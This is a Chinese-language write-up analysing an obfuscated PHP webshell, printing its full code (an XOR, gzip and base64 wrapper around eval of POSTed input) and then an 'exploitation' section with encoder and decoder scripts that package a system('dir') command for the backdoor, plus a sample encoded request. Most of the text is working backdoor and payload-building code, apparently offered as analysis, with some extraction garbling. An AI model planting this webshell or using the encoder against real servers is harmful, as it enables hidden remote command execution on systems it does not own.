一次混淆webshell分析

1. webshell 混淆

<?php$k="161ebd7d";
$kh="45089b3446ee";
$kf="4e0d86dbcf92";
$p="lFDu8RwONqmag5ex";
function x($t,$k){	# $t 是base64解码后的内容 	$c=strlen($k);
$l=strlen($t);
$o="";	for($i=0;
$i<$l;
){		for($j=0;
($j<$c&&$i<$l);
$j++,$i++)		{			$o.=$t[$i]^$k[$j];		}	}	/*	循环的大致意思是我们采用 无论是输入的$t,还是自定义的$k。无论谁比谁长还是短。用户输入的$t必须要遍历完,如果$k不够那就从头开始。	*/	
return $o;
}
if (
@preg_match("/$kh(.+)$kf/",
@file_get_contents("php://input"),$m)==1) {	
@ob_start();	/*	ob_start(): 该函数开启输出缓冲。默认情况下,PHP 会将所有输出直接发送到浏览器。但当开启输出缓冲后,PHP 会将输出存储在内存中,而不是立刻发送到浏览器。只有在缓冲区被清空或者脚本执行结束时,输出才会被发送给浏览器。	*/	
@eval(
@gzuncompress(
@x(
@base64_decode($m[1]),$k)));	# gzuncompress 是一种解压缩函数 	$o=
@ob_get_contents();	
@ob_end_clean();	$r=
@base64_encode(
@x(
@gzcompress($o),$k));	
print("$p$kh$r$kf");
}

唯一一个无法确定的就是preg_match中的$m变量。一般来讲,这就是保存捕获的字符串。

  • $m 是一个数组变量,用来存储正则表达式的匹配结果。如果匹配成功,preg_match 会将匹配的结果存入 $m 中, $m[0] 会包含完整匹配的内容,而 $m[1] 会包含第一个捕获组(即 (.+) 匹配的内容)。

image.png

2. 分析

经过针对混淆的代码进行分析,首先利用input伪协议,将数据post方式传递上来。同时利用异或函数生成payload。   @eval (@gzuncompress(@x(@base64_decode($m[1]), $k))); 但是注意给的payload都是压缩过的。因此在异或完毕后需要解压。同时针对于输出其实就看出来了,开始给的数据是如何压缩加密的。

3. 利用

由此我们可以看到我们只需要在post数据中传递对应的数据,只要让他正则匹配到就可以。主要是我们的数据一定要严格按照输出格式进行输入。

$r=@base64_encode(@x(@gzcompress($o),$k));
3.1 测试 payload

system(‘dir’);

加密.php

<?php$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";
function x($t, $k){
# $t 是base64解码后的内容
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l; ) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
/*
循环的大致意思是我们采用 无论是输入的$t,还是自定义的$k。无论谁比谁长还是短。用户输入的$t必须要遍历完,如果$k不够那就从头开始。
*/
return $o;
}
# echo 
@gzuncompress(
@x(
@base64_decode($_POST['r']), $k));
$o = "system('dir');
";
$r = 
@base64_encode(
@x(
@gzcompress($o), $k));
echo $r;
?>Saoay05KfqnkZn6sTjbg0Dc2GUFm2w==45089b3446ee4e0d86dbcf9245089b3446eeSaoay05KfqnkZn6sTjbg0Dc2GUFm2w==4e0d86dbcf92

解密.php

<?php$k = "161ebd7d";
$kh = "45089b3446ee";
$kf = "4e0d86dbcf92";
$p = "lFDu8RwONqmag5ex";
function x($t, $k){
# $t 是base64解码后的内容
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l; ) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t[$i] ^ $k[$j];
}
}
/*
循环的大致意思是我们采用 无论是输入的$t,还是自定义的$k。无论谁比谁长还是短。用户输入的$t必须要遍历完,如果$k不够那就从头开始。
*/
return $o;
}
echo 
@gzuncompress(
@x(
@base64_decode($_POST['r']), $k));
// $o = "system('dir');
";
// $r = 
@base64_encode(
@x(
@gzcompress($o), $k));
// echo $r;
?> ?>

image.png